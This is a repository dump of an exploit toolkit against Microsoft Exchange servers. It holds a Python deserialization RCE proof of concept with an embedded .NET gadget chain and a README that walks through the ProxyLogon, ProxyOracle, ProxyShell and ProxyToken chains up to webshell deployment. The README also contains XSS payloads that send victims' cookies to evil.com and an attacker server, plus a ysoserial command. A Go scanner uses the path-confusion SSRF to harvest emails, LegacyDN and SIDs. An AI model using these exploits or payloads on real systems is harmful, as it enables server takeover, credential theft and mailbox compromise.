├── .DS_Store
├── CVE-2021-42321_poc.py
├── README.md
├── chkproxyshell.go
├── confirmtoken.go
├── go.mod
├── go.sum
├── padre
├── payloadenc.c
├── pics
├── .DS_Store
├── cve-2021-42321.png
├── logo-black.png
├── proxylogon.png
├── proxylogon1.png
├── proxyoracle.png
├── proxyoracle1.png
├── proxyshell.png
├── proxyshell12.png
├── proxyshell13.png
├── proxyshell14.png
├── proxyshell15.png
├── proxyshell16.png
├── proxyshell17.png
├── proxyshell18.png
├── proxyshell19.png
└── proxytoken.png
├── proxylogon.go
├── proxyoracle.py
├── proxyshell_payload_gen.py
├── proxytoken.go
├── sid_gen_token.py
├── test.xml
├── testfunc
├── proxyoracle_test.go
├── test.go
└── test1.go
└── wsman_getshell.py
/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/retr0-13/proxy_Attackchain/6b80f636ef8e3ee5de00eb7e58dcc51dda7f43be/.DS_Store
--------------------------------------------------------------------------------
/CVE-2021-42321_poc.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | import socket, time
3 |
4 | import httplib, requests
5 | import urllib
6 | import os, ssl
7 |
8 | from requests_ntlm2 import HttpNtlmAuth
9 | from urllib3.exceptions import InsecureRequestWarning
10 |
11 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
12 | import base64
13 |
14 |
15 | USER = 'xxx'
16 | PASS = 'xxx'
17 |
18 | target = "https://xxx.xxx.xxx.xxx/"
19 |
20 | #rcegadget
21 | #pop calc or mspaint on the target
22 | gadgetData = 'AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAgAAAA9Gb3JlZ3JvdW5kQnJ1c2gPQmFja2dyb3VuZEJydXNoAQECAAAABgMAAABtPExpbmVhckdyYWRpZW50QnJ1c2ggeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiI+PC9MaW5lYXJHcmFkaWVudEJydXNoPgYEAAAA6w08UmVzb3VyY2VEaWN0aW9uYXJ5DQp4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIg0KeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQp4bWxuczpzPSJjbHItbmFtZXNwYWNlOlN5c3RlbTthc3NlbWJseT1tc2NvcmxpYiINCnhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkNvbmZpZ3VyYXRpb247YXNzZW1ibHk9U3lzdGVtLkNvbmZpZ3VyYXRpb24iDQp4bWxuczpyPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5SZWZsZWN0aW9uO2Fzc2VtYmx5PW1zY29ybGliIj4NCiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJ0eXBlIiBPYmplY3RUeXBlPSJ7eDpUeXBlIHM6VHlwZX0iIE1ldGhvZE5hbWU9IkdldFR5cGUiPg0KICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICA8czpTdHJpbmc+U3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLkFwcFNldHRpbmdzLCBTeXN0ZW0uV29ya2Zsb3cuQ29tcG9uZW50TW9kZWwsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1PC9zOlN0cmluZz4NCiAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJmaWVsZCIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSB0eXBlfSIgTWV0aG9kTmFtZT0iR2V0RmllbGQiPg0KICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICA8czpTdHJpbmc+ZGlzYWJsZUFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3JUeXBlQ2hlY2s8L3M6U3RyaW5nPg0KICAgICAgICAgICAgPHI6QmluZGluZ0ZsYWdzPjQwPC9yOkJpbmRpbmdGbGFncz4NCiAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJzZXQiIE9iamVjdEluc3RhbmNlPSJ7U3RhdGljUmVzb3VyY2UgZmllbGR9IiBNZXRob2ROYW1lPSJTZXRWYWx1ZSI+DQogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgICAgIDxzOk9iamVjdC8+DQogICAgICAgICAgICA8czpCb29sZWFuPnRydWU8L3M6Qm9vbGVhbj4NCiAgICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJzZXRNZXRob2QiIE9iamVjdEluc3RhbmNlPSJ7eDpTdGF0aWMgYzpDb25maWd1cmF0aW9uTWFuYWdlci5BcHBTZXR0aW5nc30iIE1ldGhvZE5hbWUgPSJTZXQiPg0KICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgICAgICA8czpTdHJpbmc+bWljcm9zb2Z0OldvcmtmbG93Q29tcG9uZW50TW9kZWw6RGlzYWJsZUFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3JUeXBlQ2hlY2s8L3M6U3RyaW5nPg0KICAgICAgICAgICAgPHM6U3RyaW5nPnRydWU8L3M6U3RyaW5nPg0KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPg0KICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyPg0KPC9SZXNvdXJjZURpY3Rpb25hcnk+Cw=='
23 | gadgetData1 = '' # here is the command exec gadget data.
24 |
25 | def sendPayload(gadgetChain):
26 | get_inbox = '''
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 | AllProperties
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 | '''
43 |
44 | headers = {"User-Agent": "ExchangeServicesClient/15.01.2308.008", "Content-type" : "text/xml; charset=utf-8"}
45 |
46 | res = requests.post(target + "/ews/exchange.asmx",
47 | data=get_inbox,
48 | headers=headers,
49 | verify=False,
50 | auth=HttpNtlmAuth('%s' % (USER),
51 | PASS))
52 |
53 |
54 | folderId = res.content.split('
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 | ''' % (folderId, changeKey)
71 |
72 | res = requests.post(target + "/ews/exchange.asmx",
73 | data=delete_old,
74 | headers=headers,
75 | verify=False,
76 | auth=HttpNtlmAuth('%s' % (USER),
77 | PASS))
78 |
79 | create_usr_cfg = '''
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 | String
94 | OrgChkTm
95 |
96 |
97 | Integer64
98 | 637728170914745525
99 |
100 |
101 |
102 |
103 | String
104 | OrgDO
105 |
106 |
107 | Boolean
108 | false
109 |
110 |
111 |
112 |
113 | String
114 | OrgExtV
115 |
116 |
117 | Integer32
118 | 2147483647
119 |
120 |
121 |
122 | %s
123 |
124 |
125 |
126 | ''' % (folderId, changeKey, gadgetChain)
127 |
128 | res = requests.post(target + "/ews/exchange.asmx",
129 | data=create_usr_cfg,
130 | headers=headers,
131 | verify=False,
132 | auth=HttpNtlmAuth('%s' % (USER),
133 | PASS))
134 |
135 |
136 | get_client_ext = '''
137 |
138 |
139 |
140 |
141 |
142 |
143 |
144 |
145 | aaaa
146 | CallerIdentity
147 |
148 |
149 |
150 |
151 |
152 | '''
153 |
154 | res = requests.post(target + "/ews/exchange.asmx",
155 | data=get_client_ext,
156 | headers=headers,
157 | verify=False,
158 | auth=HttpNtlmAuth('%s' % (USER),
159 | PASS))
160 |
161 | # the gadget set change DisableActivitySurrogateSelectorTypeCheck to True to overcome the limitation of .NET
162 | sendPayload(gadgetData)
163 | sendPayload(gadgetData1)
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Proxy-Attackchain
2 |
3 | proxylogon, proxyshell, proxyoracle, proxytoken, CVE-2021-42321 Deserialization RCE full chain exploit tool
4 |
5 | 1. ProxyLogon: The most well-known and impactful Exchange exploit chain
6 | 2. ProxyOracle: The attack which could recover any password in plaintext format of Exchange users
7 | 3. ProxyShell: The exploit chain demonstrated at [Pwn2Own 2021](https://twitter.com/thezdi/status/1379467992862449664) to take over Exchange and earn $200,000 bounty
8 |
9 | ProxyLogon is Just the Tip of the Iceberg: A New Attack Surface on Microsoft Exchange Server! [Slides](https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Tip-Of-The-Iceberg-A-New-Attack-Surface-On-Microsoft-Exchange-Server.pdf) [Video](https://www.youtube.com/watch?v=5mqid-7zp8k)
10 |
11 | ## most of the exploit is recoded with golang to speed up... and for learning golang purpose :)
12 |
13 | - 
14 |
15 | | NAME | CVE | patch time | description | avaliable |
16 | | ----------- | ----------- | ----------- | ----------- | ----------- |
17 | | ProxyLogon | [CVE-2021-26855](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855) | Mar 02, 2021 | server-side request forgery (SSRF) | yes |
18 | | ProxyLogon | [CVE-2021-27065](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-27065) | Mar 02, 2021 | Microsoft.Exchange.Management.DDIService.WriteFileActivity未校验写文件后缀,可由文件内容部分可控的相关功能写入WebShell | yes |
19 | | ProxyOracle | [CVE-2021-31196](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31196) | Jul 13, 2021 | Reflected Cross-Site Scripting | yes |
20 | | ProxyOracle | [CVE-2021-31195](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195) | May 11, 2021 | Padding Oracle Attack on Exchange Cookies Parsing | yes |
21 | | ProxyShell | [CVE-2021-34473](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473) | Apr 13, 2021 | Pre-auth Path Confusion leads to ACL Bypass | yes |
22 | | ProxyShell | [CVE-2021-34523](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523) | Apr 13, 2021 | Elevation of Privilege on Exchange PowerShell Backend | yes |
23 | | ProxyShell | [CVE-2021-31207](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207) | May 11, 2021 | Post-auth Arbitrary-File-Write leads to RCE | yes |
24 | | proxytoken | [CVE-2021-33766](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33766) | July 13, 2021 | With this vulnerability, an unauthenticated attacker can perform configuration actions on mailboxes belonging to arbitrary users. As an illustration of the impact, this can be used to copy all emails addressed to a target and account and forward them to an account controlled by the attacker. | yes |
25 | | Microsoft Exchange Server 远程执行代码漏洞 | [CVE-2021-42321](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321) | Nov 17, 2021 | Exchange Deserialization RCE | yes |
26 |
27 | ***more exchange exp coming soon...***
28 |
29 | # proxylogon
30 |
31 | - 
32 | - 
33 |
34 | # proxyoracle
35 |
36 | Once a victim clicks this link, evil.com will receive the cookies.
37 |
38 | ``` bash
39 | https://ews.lab/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.cookie=`X-AnonResource-Backend=@evil.com:443/path/any.php%23~1941962753`;document.cookie=`X-AnonResource=true`;fetch(`/owa/auth/any.skin`,{credentials:`include`});//
40 | ```
41 |
42 | or use 3gstudent's way:
43 |
44 | ## step1: XSS平台搭建
45 |
46 | 借助SSRF漏洞,控制Exchange服务器将Cookie信息发送至XSS平台,导致最终想要的Cookie信息位于Request Headers中
47 |
48 | 而现有的XSS平台大都是通过POST请求的参数来传递数据
49 |
50 | 为了解决这个问题,这里可以选择开源的XSS平台,地址如下:
51 |
52 | https://github.com/3gstudent/pyXSSPlatform
53 |
54 | 只需要修改以下位置:
55 |
56 | - 修改index.js,使用ajax模拟用户发包触发SSRF漏洞
57 |
58 | - 修改 pyXSSPlatform.py ,将GET请求的Request Headers进行提取
59 |
60 | - 使用合法的证书
61 |
62 | index.js代码示例:
63 |
64 | ``` bash
65 | var xmlHttp = new XMLHttpRequest();
66 | xmlhttp.open("GET", "https://192.168.1.1/owa/auth/x.js", false);
67 | document.cookie = "X-AnonResource=true";
68 | document.cookie = "X-AnonResource-Backend=OurXssServer.com/#~1";
69 | xmlhttp.send();
70 | ```
71 |
72 | ## step2: XSS利用代码
73 |
74 | 控制用户访问XSS平台的代码示例:
75 |
76 | ``` bash
77 | https://192.168.1.1/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};document.head.appendChild(document.createElement(/script/.source)).src=/https:\/\/OurXssServer.com\/index.js/.source//
78 | ```
79 |
80 | ## step3: example cookie for decryption test:
81 |
82 | ``` bash
83 | cadata=FVtSAAWdOn29HYDQry+kG+994VUdAxONrayi4nbJW9JWTh8yLueD6IxYpahfxcGsA/B3FoVUQOD2EG605SR4QdeQ1pof+KD//6jwpmYQjv/II+OcqChrFZFvcMWv46a5; cadataTTL=eTxCEHKHDMmd/gEqDuOafg==; cadataKey=T4juhN4dUMKY4wkajUD43n4EWfMwefPQlqzxXmK4GnSHIZqo+g+uQg1Y2ogGoD1HyoVpRYgjGcCu6rmNQK+LsaZ8/lfBCThBI5yAhP1W2Fx+YNKvzy8Bcpui7zTlhAY598lE5Aijs6crHVXJeZkbLfMJgp0cFHj5uTQPcg31O/AeOAnD5c27IYOQ7JqMW7GOUVor1lhYnhh0R/NtWWqyfr5oE9j0jbxIGgrQrXIpLxL/uAU1ddC+/5jG9Edpq4sC213amuU/94rkHYzNH9OsiHYIkXr/NmkB7p908XrFrwXAcvV9QieoRiS3jvKCbzk3mnMu3YTnsJwAuiHzSXdCOQ==; cadataIV=GB9B+rwrigyPOf8xnV1KAek++yovEot9jFcV68WepCTQoRtQ5HUxSC7tE1mmHg0YtE6EOZNUM/WiNGP6xI4UTAofcMOfTLeRpBzeaKOETfjxKK2W7IKn+9k2tRkc1pIlO8FTOVx/dOHOoIFHUkqxFr+TgBULJ1I7tUmO7W0XDX4ZJHfmQhVqOOzeyjImKdX7Uv/jIJrF4VEew7rgvrC8BhqOqWgaTxpGhDTzIXl+wW3crsgZmXpXhOPURej1iwmtvhuQU6iuq4/IRv0lVIW3WvP6gUI8owIUxppnJl7YmN27Aqkjs0nTZZz1LBuZN+YxY4x6Lvs2FMG68jllhE4kwg==; cadataSig=BOJSYN2B+3RsXjO2akh3mqlKKkeAZVamOzfpVo0QdPEA3BHjpR6ls5yD9TzAQzRuWJJaaRIm7wMEiBMFz/sK5jk3R6kWw1OmMtJN2c38PdvwGIe6/7ByJdl52a5ojhDrRZhc4Qc3y+FFRx6XKvqUljTRWtHJGI1Jad2+LiNhJGkalhUeTM/a2V4LiQWf6Vv1KzJO79rZuOOOBnatht/E29j6636FpllCfEKrrogPQ7ADdVS6OOmqNU9gRMVgKnomC2t2PCtuYj26HUjnZ3rfc6BdzVmtu9EYSzccObsB2jxXXclAm5a+NZU/6sj9tlq3gcurjBl9yUDTgbZLg383gw==
84 | ```
85 |
86 | - amd64 poc binary usage:
87 | - just a modyfied version of [padre](https://github.com/glebarez/padre), added proxyoracle detect poc code...
88 | - 
89 |
90 | - python script exp usage:
91 |
92 | Decrypt this cookie to plaintext:
93 |
94 | - 
95 |
96 | # proxyshell
97 |
98 | - CVE-2021-34473 - Pre-auth Path Confusion
99 |
100 | This faulty URL normalization lets us access an arbitrary backend URL while running as the Exchange Server machine account. Although this bug is not as powerful as the SSRF in ProxyLogon, and we could manipulate only the path part of the URL, it’s still powerful enough for us to conduct further attacks with arbitrary backend access.
101 |
102 | ``` bash
103 | https://xxx.xxx.xxx.xxx/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.com
104 | ```
105 |
106 | - CVE-2021-34523 - Exchange PowerShell Backend Elevation-of-Privilege
107 | - CVE-2021-31207 - Post-auth Arbitrary-File-Write
108 |
109 | ## let's getting started...
110 |
111 | generate proxyshell specified webshell payload.
112 |
113 | - proxyshell_payload_gen.py
114 |
115 | just put the webshell content you want to "webshell", then it will be fine...
116 |
117 | - 
118 |
119 | then put the encoded webshell to ... in chkproxyshell.go
120 |
121 | confirm proxyshell and get the sid value to generate token.
122 |
123 | - 
124 |
125 | use the following py script to gen token value
126 |
127 | - 
128 |
129 | confirm the token is valid
130 |
131 | - 
132 |
133 | now use the token to send a email with shell attachment in, this may be saved as a draft in administrator's mailbox...
134 |
135 | - 
136 |
137 | - 
138 |
139 | finnaly use the following wsman python script to export The draft to webshell :)
140 |
141 | - 
142 |
143 | - 
144 |
145 | - 
146 |
147 | # proxytoken
148 |
149 | - -te: is the email that you want to redirect to...
150 | - -ve: is the email that you want to attack and read...
151 |
152 | - 
153 |
154 | # Exchange RCE CVE-2021-42321 (target user & pass needed exploit)
155 |
156 | - [CVE-2021-42321_poc.py](./CVE-2021-42321_poc.py)
157 |
158 | Exchange 2016 CU 21,22 and Exchange 2019 CU 10,11. This means the only recent latest version of Exchange 2016,2019 are vulnerable to this CVE
159 |
160 | 1. Create UserConfiguration with BinaryData as our Gadget Chain
161 | 2. Request to EWS for GetClientAccessToken to trigger the Deserialization
162 |
163 | change DisableActivitySurrogateSelectorTypeCheck to True to overcome the limitation of .NET and later inject DLL to achieve mem-shell with Jscript to bypass the detection
164 |
165 | usage:
166 |
167 | use [ysoserial.net](https://github.com/pwntester/ysoserial.net) generate the command execution payload...
168 |
169 | ``` bash
170 | ./ysoserial.exe -f BinaryFormatter -g ActivitySurrogateDisableTypeCheck -o base64 -c "whoami /all" -t
171 | ```
172 |
173 | then replace USER, PASS, target, gadgetData1 fileds you want...
174 |
175 | - youtube channel exp prove:
176 |
177 | - 
178 |
179 | i'm not found a proper envirenment to test the script...so test it yourself.
180 |
181 | # ***more newest exchange exp coming soon......***
182 |
183 | # Reference (worship to orange!)
184 | - [Proxylogon](https://proxylogon.com/)
185 | - [A New Attack Surface on MS Exchange Part 1 - ProxyLogon!](https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html)
186 | - [ProxyLogon漏洞分析](https://hosch3n.github.io/2021/08/22/ProxyLogon%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
187 | - [CVE-2021-42321](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321)
188 | - [Some notes about Microsoft Exchange Deserialization RCE (CVE-2021–42321)](https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852)
189 | - [A New Attack Surface on MS Exchange Part 2 - ProxyOracle!](https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html)
190 | - [ProxyOracle漏洞分析](https://hosch3n.github.io/2021/08/23/ProxyOracle%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
191 | - [My Steps of Reproducing ProxyShell](https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/)
192 | - [ProxyShell漏洞分析](https://hosch3n.github.io/2021/08/24/ProxyShell%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
193 | - [FROM PWN2OWN 2021: A NEW ATTACK SURFACE ON MICROSOFT EXCHANGE - PROXYSHELL!](https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell)
194 | - [ProxyVulns](https://github.com/hosch3n/ProxyVulns)
195 | - [pax](https://github.com/liamg/pax)
196 | - [padre](https://github.com/glebarez/padre)
197 | - [python-paddingoracle](https://github.com/mwielgoszewski/python-paddingoracle)
198 | - [Reproducing The ProxyShell Pwn2Own Exploit](https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1)
199 | - [ProxyShell](https://github.com/ktecv2000/ProxyShell)
200 | - [PROXYTOKEN: AN AUTHENTICATION BYPASS IN MICROSOFT EXCHANGE SERVER](https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server)
201 | - [A basic proxyshell scanner](https://github.com/dinosn/proxyshell)
202 | - [Proof of Concept Exploit for Microsoft Exchange CVE-2021-34473, CVE-2021-34523, CVE-2021-31207](https://github.com/horizon3ai/proxyshell)
203 | - [Generate proxyshell payload by Py Permutative Encoding](https://github.com/Ridter/proxyshell_payload)
204 | - [CVE-2021-34473-Exchange-ProxyShell](https://github.com/je6k/CVE-2021-34473-Exchange-ProxyShell)
205 | - [Exchange ProxyShell 远程代码执行漏洞复现](https://www.buaq.net/go-83692.html)
206 | - [exchange-proxyshell漏洞复现及分析](https://blog.riskivy.com/exchange-proxyshell%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0%E5%8F%8A%E5%88%86%E6%9E%90/)
207 | - [CVE-2021-33766-ProxyToken](https://github.com/demossl/CVE-2021-33766-ProxyToken)
208 | - [ysoserial.net](https://github.com/pwntester/ysoserial.net)
--------------------------------------------------------------------------------
/chkproxyshell.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "crypto/tls"
5 | "flag"
6 | "fmt"
7 | "io/ioutil"
8 | "net/http"
9 | "strings"
10 | "time"
11 |
12 | "github.com/fatih/color"
13 | )
14 |
15 | func Banner() {
16 | x := `
17 | ----------------------
18 | < proxyshell is awesome! >
19 | ----------------------
20 | \ ^__^
21 | \ (oo)\_______
22 | (__)\ )\/\
23 | ||----w |
24 | || ||`
25 | y := "By lUc1f3r11"
26 | color.Red("%s", x)
27 | color.Yellow("%s", y)
28 | }
29 |
30 | func Between(str, starting, ending string) string {
31 | s := strings.Index(str, starting)
32 | if s < 0 {
33 | return ""
34 | }
35 | s += len(starting)
36 | e := strings.Index(str[s:], ending)
37 | if e < 0 {
38 | return ""
39 | }
40 | return str[s : s+e]
41 | }
42 |
43 | func check(target string) {
44 | user_agent := "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
45 | /*构造payload*/
46 | cli := &http.Client{Timeout: time.Second * 7, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
47 | if !strings.Contains(target, "http") {
48 | target = "http://" + target
49 | }
50 |
51 | request, err := http.NewRequest(http.MethodGet, target+"/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.com", nil)
52 | if err != nil {
53 | fmt.Println(err)
54 | }
55 |
56 | request.Header.Add("User-Agent", user_agent)
57 | request.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8")
58 | request.Header.Add("Connection", "close")
59 |
60 | do, err := cli.Do(request)
61 | if err != nil {
62 | fmt.Println("[-] requesting err...")
63 | return
64 | }
65 |
66 | defer func() {
67 | _ = do.Body.Close()
68 | }()
69 |
70 | ioread, _ := ioutil.ReadAll(do.Body)
71 | bannerstr := Between(string(ioread), ``, ``)
72 | targetuser := Between(string(ioread), `User: `, `
UPN:`)
73 |
74 | if do.StatusCode == 200 && bannerstr == "Exchange MAPI/HTTP Connectivity Endpoint" {
75 | fmt.Println("[+] req status: " + do.Status)
76 | fmt.Println("[+] target user is : " + targetuser)
77 | fmt.Println("[+] target is vulnerable to proxyshell !")
78 | enumerate(target)
79 | } else {
80 | fmt.Println("[-] target is not vulnerable to proxyshell !")
81 | }
82 | }
83 |
84 | func enumerate(target string) {
85 | user_agent := "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"
86 | /*构造payload*/
87 | cli := &http.Client{Timeout: time.Second * 7, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
88 | if !strings.Contains(target, "http") {
89 | target = "http://" + target
90 | }
91 |
92 | endpoint_addr := "/autodiscover/autodiscover.json?a=test@test.com/EWS/exchange.asmx"
93 |
94 | json_data := `
99 |
100 |
101 |
102 |
103 |
104 | SMTP:
105 |
106 |
107 |
108 | `
109 |
110 | request, err := http.NewRequest(http.MethodPost, target+endpoint_addr, strings.NewReader(json_data))
111 | if err != nil {
112 | fmt.Println(err)
113 | }
114 |
115 | request.Header.Add("Cookie", "Email=autodiscover/autodiscover.json?a=test@test.com")
116 | request.Header.Add("User-Agent", user_agent)
117 | request.Header.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8")
118 | request.Header.Add("Connection", "close")
119 | request.Header.Add("Content-Type", "text/xml")
120 |
121 | do, err := cli.Do(request)
122 | if err != nil {
123 | fmt.Println("[-] requesting err...")
124 | return
125 | }
126 |
127 | defer func() {
128 | _ = do.Body.Close()
129 | }()
130 |
131 | ioread, _ := ioutil.ReadAll(do.Body)
132 | bannerstr := Between(string(ioread), ``, ``)
134 | display_name := Between(string(ioread), ``, ``)
135 | email_addr1 := Between(string(ioread), ``, ``)
136 |
137 | if do.StatusCode == 200 && bannerstr == "version" {
138 | fmt.Println("[+] get target email addr: " + email_addr)
139 | fmt.Println("[+] get target displayname: " + display_name)
140 | fmt.Println("[+] get target email addr1: " + email_addr1)
141 | getlegacydn(target, email_addr)
142 | } else {
143 | fmt.Println("[-] get email failed !")
144 | }
145 | }
146 |
147 | func getlegacydn(target, email string) {
148 | /*构造payload*/
149 | cli := &http.Client{Timeout: time.Second * 7, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
150 | if !strings.Contains(target, "http") {
151 | target = "http://" + target
152 | }
153 |
154 | endpoint_addr := "/autodiscover/autodiscover.json?a=luci@ex.com/autodiscover/autodiscover.xml"
155 |
156 | json_data := `` + email + `http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a`
157 |
158 | request, err := http.NewRequest(http.MethodPost, target+endpoint_addr, strings.NewReader(json_data))
159 | if err != nil {
160 | fmt.Println(err)
161 | }
162 |
163 | request.Header.Add("Accept-Encoding", "identity")
164 | request.Header.Add("Cookie", "Email=autodiscover/autodiscover.json?a=luci@ex.com")
165 | request.Header.Add("Content-Type", "text/xml")
166 |
167 | do, err := cli.Do(request)
168 | if err != nil {
169 | fmt.Println("[-] requesting err...")
170 | return
171 | }
172 |
173 | defer func() {
174 | _ = do.Body.Close()
175 | }()
176 |
177 | ioread, _ := ioutil.ReadAll(do.Body)
178 | serverversion := Between(string(ioread), ``, ``)
179 | LegacyDN := Between(string(ioread), ``, ``)
180 |
181 | if do.StatusCode == 200 {
182 | fmt.Println("[+] get server version: " + serverversion)
183 | fmt.Println("[+] get LegacyDN: " + LegacyDN)
184 | getsid(target, LegacyDN)
185 | } else {
186 | fmt.Println("[-] get LegacyDN failed !")
187 | }
188 | }
189 |
190 | func getsid(target, LegacyDN string) {
191 | cli := &http.Client{Timeout: time.Second * 7, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}}}
192 | if !strings.Contains(target, "http") {
193 | target = "http://" + target
194 | }
195 |
196 | endpoint_addr := "/autodiscover/autodiscover.json?a=luci@ex.com/mapi/emsmdb"
197 |
198 | legacydn := LegacyDN + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"
199 |
200 | request, err := http.NewRequest(http.MethodPost, target+endpoint_addr, strings.NewReader(legacydn))
201 | if err != nil {
202 | fmt.Println(err)
203 | }
204 |
205 | request.Header.Add("Accept-Encoding", "identity")
206 | request.Header.Add("Cookie", "Email=autodiscover/autodiscover.json?a=luci@ex.com")
207 | request.Header.Add("X-Requesttype", "Connect")
208 | request.Header.Add("X-Clientinfo", "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}")
209 | request.Header.Add("X-Clientapplication", "Outlook/15.0.4815.1002")
210 | request.Header.Add("X-Requestid", "{C715155F-2BE8-44E0-BD34-2960067874C8}:2")
211 | request.Header.Add("Content-Type", "application/mapi-http")
212 |
213 | do, err := cli.Do(request)
214 | if err != nil {
215 | fmt.Println("[-] requesting err...")
216 | return
217 | }
218 |
219 | defer func() {
220 | _ = do.Body.Close()
221 | }()
222 |
223 | ioread, _ := ioutil.ReadAll(do.Body)
224 | resp := string(ioread)
225 | sid := Between(resp, `with SID `, ` and MasterAccountSid`)
226 |
227 | if do.StatusCode == 200 {
228 | fmt.Println("[+] get sid: " + sid)
229 | } else {
230 | fmt.Println("[-] get sid failed !")
231 | }
232 | }
233 |
